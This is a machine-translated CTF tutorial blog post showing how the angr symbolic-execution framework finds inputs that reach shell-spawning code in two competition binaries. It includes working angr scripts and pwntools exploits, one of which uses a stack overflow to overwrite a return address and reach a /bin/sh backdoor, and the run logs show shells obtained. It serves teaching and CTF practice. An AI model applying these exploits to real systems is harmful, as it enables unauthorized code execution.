当前位置:网站首页>AUTO PWN

AUTO PWN

2022-06-24 08:27:00 i0gan

ref: https://angr.io/

ref: https://bbs.pediy.com/thread-266757.htm

Introduce

at present ,CTF Of PWN The question is becoming more and more difficult PWN fall , The exploitation and utilization of vulnerabilities are gradually changing from manual to automatic . This paper mainly introduces some examples of automatic mining , To learn automated mining .

However , at present angr Framework is a good choice ,angr Is an open source binary analysis python frame . It uses symbolic execution techniques , It can analyze the program to get the input for a specific code area to execute . When analyzing a program with symbolic execution , The program uses symbolic values as input , Instead of the specific values used in general program execution . When the target code is reached , The analyzer can get the corresponding path constraints , Then the constraint solver is used to get the specific value that can trigger the object code .

Open source address : https://github.com/angr/angr

Refer to the attachment of the topic i0gan want .

install angr

For the sake of convenience pwntools Library conflicts , We use pull docker Mirror image , Of course, you can also directly pip install angr It's fine too .

docker pull angr/angr

Before we start , I use angr docker To run the scirpt, I wrote a bash Script to run our angr Script , As shown below , Convenient example 1 And example 2 Use .

#! /bin/sh
# Author: i0gan
# for starting docker angr
pwd=`pwd`
if [[ $1 < 2 ]];then
    echo "Usage angr script.py"
    exit
fi
script=$1
docker run -it -u angr --rm -v $pwd:/mnt -w /mnt angr/angr "/home/angr/.virtualenvs/angr/bin/python" "/mnt/$script" $2 $3

Usage:

./angr script.py

Example 1

come from 2021 Hongming Valley Cup finals

checksec:

Checksec file: pwn1
[*] '/run/media/i0gan/disk1/share/project/auto_pwn/pwn1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

Operation of the

~/share/project/auto_pwn  ./pwn1                                                                                                 
asdf
input your passwd:
asdfasdf
asdf
input your passwd:

The program logic is as follows

int sub_804870E()
{
  int result; // eax
  char v1[16]; // [esp+Ch] [ebp-1Ch] BYREF
  int v2; // [esp+1Ch] [ebp-Ch]
​
  result = inputn();
  v2 = result;
  switch ( result )
  {
    case 1:
      puts("logging out...");
      result = ~dword_804A06C;
      dword_804A06C = ~dword_804A06C;
      break;
    case 2:
      if ( dword_804A06C )
        result = shell(); // shell function 
      else
        result = puts("please log in");
      break;
    case 0:
      puts("input your passwd:");
      result = sub_804859B((int)v1, 16); //  Input password 
      dword_804A06C = 1; //  When it's right , Set up dword_804A06C by 1, To get shell
      break;
  }
  return result;
}

above , We don't know what the password is , We don't care what it is , As long as we can get shell Can , So how to make the program flow jump to shell Function? ?angr It can be realized conveniently .

The following is shell Address of function , As long as you can make the program flow to 0x08048783, We can get shell.

.text:0804877A loc_804877A:                            ; CODE XREF: sub_804870E+19↑j
.text:0804877A                 mov     eax, ds:dword_804A06C
.text:0804877F                 test    eax, eax
.text:08048781                 jz      short loc_804878A
.text:08048783                 call    shell
.text:08048788                 jmp     short loc_804879A

Okay , We just need to make the program flow to our destination address , Then give the input data to dump come out ,dump The data is our payload Data. .

angr Script pwn1_angr.py as follows

import angr
from binascii import b2a_hex
import logging
import sys
#logging.getLogger('angr').setLevel('INFO')
logging.getLogger('angr').setLevel('CRITICAL')
​
def angr_main():
    pj = angr.Project('./pwn1')
    state = pj.factory.entry_state()
    simgr = pj.factory.simgr(state)
    simgr.explore(find = 0x08048783) # call shell
    p = simgr.found[0].posix.dumps(0)
    print(b2a_hex(p).decode(), end='')
angr_main()

function :

./angr pwn1_angr.py 
310a320a

Here I use 16 Hexadecimal mode to print out the data ,payload Namely '\x31\x0a\x32\x0a'

test :

./pwn1
1
logging out...
2
sh-5.1$ whoami
i0gan

Okay , Now we've got to get shell Of payload, So how do we realize automation to mine and pwn Drop it ?

We just need to get him to dig locally and then , Let him call the remote automatically , as follows .

pwn1_exp.py

from pwn import *
import os
from binascii import a2b_hex
​
io = process('./pwn1')
print('Solving...')
p = os.popen('./angr pwn1_angr.py').read()
print('Found payload: [' + p + ']')
p = a2b_hex(p)
io.send(p)
print('Get shell')
io.sendline('whoami')
io.interactive()

function pwn1_exp.py Script

python pwn1_exp.py
[+] Starting local process './pwn1': pid 18152
Solving...
Found payload: [310a320a]
Get shell
[*] Switching to interactive mode
logging out...
i0gan

Through the above experiments , We can also improve ourselves , We analyze it manually shell Where is the function of , Of course, we can also let him find this function automatically .

This example is relatively simple , But it feels no different than manual analysis , Let's have a useful .

Example 2

From the 6th national cyberspace security technology competition

ida After the open , Yes main Function F5, Find out IDA Report the following error

Decompilation failure:
8048764: too big function
Please refer to the manual to find appropriate actions

Use assembly to check the following errors in the diagram

The graph is too big (more than 1000 nodes) to be displayed on the screen.
Switching to text mode.
(you can change this limit in the graph options dialog)

This is because there are too many code branch blocks in program functions ,IDA There is no way to generate graphs and pseudo code to facilitate our analysis .

I cut some useful code as follows :

​
.text:080487C6
.text:080487C6 loc_80487C6:                            ; CODE XREF: main+51↑j
.text:080487C6                 cmp     [ebp+var_C], 13h
.text:080487CA                 jle     short loc_80487B7
.text:080487CC                 lea     eax, [ebp+s2]
.text:080487CF                 mov     dword ptr [eax], 4A494355h
.text:080487D5                 mov     dword ptr [eax+4], 49525545h
.text:080487DC                 sub     esp, 0Ch
.text:080487DF                 push    offset aEnterThePasswo_0 ; "Enter the password: "
.text:080487E4                 call    _puts
.text:080487E9                 add     esp, 10h
.text:080487EC                 sub     esp, 8
.text:080487EF                 lea     eax, [ebp+s1]
.text:080487F2                 push    eax
.text:080487F3                 push    offset a8s      ; "%8s"
.text:080487F8                 call    _scanf //  Input 8 Character data 
.text:080487FD                 add     esp, 10h
.text:08048800                 mov     [ebp+var_10], 0
.text:08048807                 jmp     short loc_8048836

Input 8 After characters , It jumps to the function code branch block and keeps jumping around .

.text:08048836 loc_8048836:                            ; CODE XREF: main+A3↑j
.text:08048836                 cmp     [ebp+var_10], 7
.text:0804883A                 jle     short loc_8048809
.text:0804883C                 lea     eax, [ebp+s1]
.text:0804883F                 add     eax, 1
.text:08048842                 movzx   eax, byte ptr [eax]
.text:08048845                 movzx   eax, al
.text:08048848                 and     eax, 10h
.text:0804884B                 test    eax, eax
.text:0804884D                 setnz   dl
.text:08048850                 lea     eax, [ebp+s2]
.text:08048853                 add     eax, 1
.text:08048856                 movzx   eax, byte ptr [eax]
.text:08048859                 movzx   eax, al
.text:0804885C                 and     eax, 10h
.text:0804885F                 test    eax, eax
.text:08048861                 setnz   al
.text:08048864                 xor     eax, edx
.text:08048866                 test    al, al
.text:08048868                 jz      loc_808E7DC
.text:0804886E                 call    aaz
.text:08048873                 lea     eax, [ebp+s1]
....

However, a function was found to have a stack overflow

int login_again()
{
  char s1[72]; // [esp+0h] [ebp-48h] BYREF
​
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  setbuf(stdin, 0);
  puts("Enter the password again: ");
  scanf("%s", s1);
  if ( !strcmp(s1, "deadbeef") )
    puts("I think you can't get shell");
  else
    puts("Error.");
  return 0;
}

With backdoor function

int get_sh()
{
  return system("/bin/sh");
}

If we enter some data , Enable program flow to execute to this function , Then we can use this vulnerability to obtain shell, Of course, we can also directly make the program flow jump to get_sh function , But it is not used in the branch block get_sh Functional , and login_again stay ass Function .

int __cdecl aas(const char *s1, const char *s2)
{
  int result; // eax
​
  if ( should_succeed && !strncmp(s1, s2, 8u) )
    result = login_again();                     // vul
  else
    result = puts("Error.");
  return result;
}

ass Functions are also called in code branch blocks , So this is similar to fuzz,fuzz It's much easier to have a relationship than to have no relationship , We make the program flow to login_again after , Then use the stack overflow vulnerability to call the backdoor function .

And example 1 almost , Just need to make angr The engine finds an input data that satisfies the program flow login_again Function .

To write angr The script is as follows :

auto_angr.py

import angr
from binascii import b2a_hex
import logging
import sys
logging.getLogger('angr').setLevel('INFO')
#logging.getLogger('angr').setLevel('CRITICAL')
​
def angr_main():
    pj = angr.Project('./auto')
    state = pj.factory.entry_state()
    simgr = pj.factory.simgr(state)
    simgr.explore(find = 0x0804867E) # call login_again
    p = simgr.found[0].posix.dumps(0)
    print(b2a_hex(p).decode(), end='')
angr_main()
​

Here is a reference to the one we wrote before angr Script .

Run the following :

./angr auto_angr.py 
555859554b564e5a

So what we got payload Namely '\x55\x58\x59\x55\x4b\x56\x4e\x5a', This input enables our program flow to login_again function , Then we use a simple stack overflow to get shell 了 .

#!/usr/bin/env python
#-*- coding:utf-8 -*-
#Author: i0gan
from pwn import *
context.log_level = 'debug'
#io = remote('81.70.195.166', 10001)
io = process('./auto')
payload = '\x55\x58\x59\x55\x4b\x56\x4e\x5a'
io.send(payload)
​
payload = b'\x00' * 0x48 +  p32(0x0) + p32(0x08048665) #  Modify the return address to get_sh function 
io.sendline(payload)
io.interactive()

Run the following

[+] Starting local process './auto' argv=[b'./auto'] : pid 6957
[DEBUG] Sent 0x8 bytes:
    b'UXYUKVNZ'
[DEBUG] Sent 0x51 bytes:
    00000000  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    00000040  00 00 00 00  00 00 00 00  00 00 00 00  65 86 04 08  │····│····│····│e···│
    00000050  0a                                                  │·│
    00000051
[*] Switching to interactive mode
[DEBUG] Received 0x37 bytes:
    b'Enter the password: \n'
    b'Enter the password again: \n'
    b'Error.\n'
Enter the password: 
Enter the password again: 
Error.
$ whoami
[DEBUG] Sent 0x7 bytes:
    b'whoami\n'
[DEBUG] Received 0x6 bytes:
    b'i0gan\n'
i0gan
​

summary

Through the above two examples , We didn't analyze how the program processed the data after the input , We only care about the result , Face the example 2, Manual analysis and debugging are extremely difficult , The program is too big , It is difficult to analyze manually , Now , With the help of AUTO PWN The means of , It's very convenient for us to find payload, I have mixed some parameters of manual analysis , It's just easy to understand , Of course, we can also develop our own set of automation system , Automatically identify program logic , Complete the automatic build payload, This is also something that needs to be continuously improved and studied in the future . At present a lot of pwn This means is also needed , such as xctf in start ctf babypac May adopt angr The engine can easily find the one that triggers the vulnerability payload, That's a aarch Architecturally pwn,angr The engine is cross architected , No effect angr To implement symbolic execution analysis , also vm pwn these , If you are too lazy to analyze program logic , Just want to quickly find each opcode What branch block does it correspond to , Using this technology is also Perfect!.

原网站

版权声明
本文为[i0gan]所创,转载请带上原文链接,感谢
https://yzsam.com/2021/06/20210626141425094Y.html